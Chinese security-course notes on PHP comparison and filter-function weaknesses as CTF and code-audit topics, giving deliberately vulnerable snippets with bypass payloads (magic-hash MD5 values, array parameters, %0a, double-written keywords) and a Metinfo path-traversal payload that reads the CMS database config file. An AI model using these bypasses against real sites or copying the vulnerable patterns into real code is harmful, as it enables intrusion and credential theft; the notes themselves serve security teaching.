小迪安全笔记-20

第20天:WEB攻防-PHP特性_缺陷对比函数_CTF考点_CMS审计实例

知识点:

1、过滤函数缺陷绕过

2、CTF考点与代码审计

详细点:最常见函数使用

==与===

md5

intval

strpos

in_array

preg_match

str_replace

缺陷绕过

1
2
3
4
5
6
7
8
9
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//1、== ===缺陷绕过 == 弱类型对比 ===还会比较类型
$a=1;
if($a==$_GET['x']){
echo $flag;
}

+1.jpg

1.0.jpg

1a.jpg

x=1.jpg

MD5

1
2
3
4
5
6
7
8
9
10
11
12
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//==
//echo MD5('QNKCDZO');
//echo MD5('240610708');

//===
//name[]=1&password[]=2

md5这种绕过也是比较常见的

intval缺陷绕过

Intval 使用:https://www.runoob.com/php/php-intval-function.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//3、intval缺陷绕过
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){
echo $flag;
}

// 666.0 +666

$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
echo $flag;
}

//0x29a

666.jpg

strpos绕过

strpos()函数:

https://www.runoob.com/php/func-string-strpos.html

这个php函数作用是查找指定字符串第一次出现的位置

1
2
3
4
5
6
7
8
9
//4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($ii==$i,"0")){
echo $flag;
}


//?num=%0a666

in_array

in_array() 函数搜索数组中是否存在指定的值。

如果第三个参数没有设置为true的话,就不会检测数据类型

1
2
3
4
5
6
7
8
//5、in_array第三个参数安全
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}

//?i=1ex

preg_match

https://www.runoob.com/php/php-preg_match.html

1
2
3
4
5
6
7
8
9
10
11
12
13
//6、preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}


//?num[]=1

str_replace

1
2
3
4
5
6
7
8
//7、str_replace无法迭代过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;

//?s=sselectelect

?>

缺点:只能过滤一次,可以双写绕过,比如:sselectelect

案例

Metinfo

源码.jpg

这里可以双写绕过,因为要过滤一个./和一个../ ,直接写成…..///

payload:……/include/thumb.php?dir=…..///http/…..//\config\config_db.php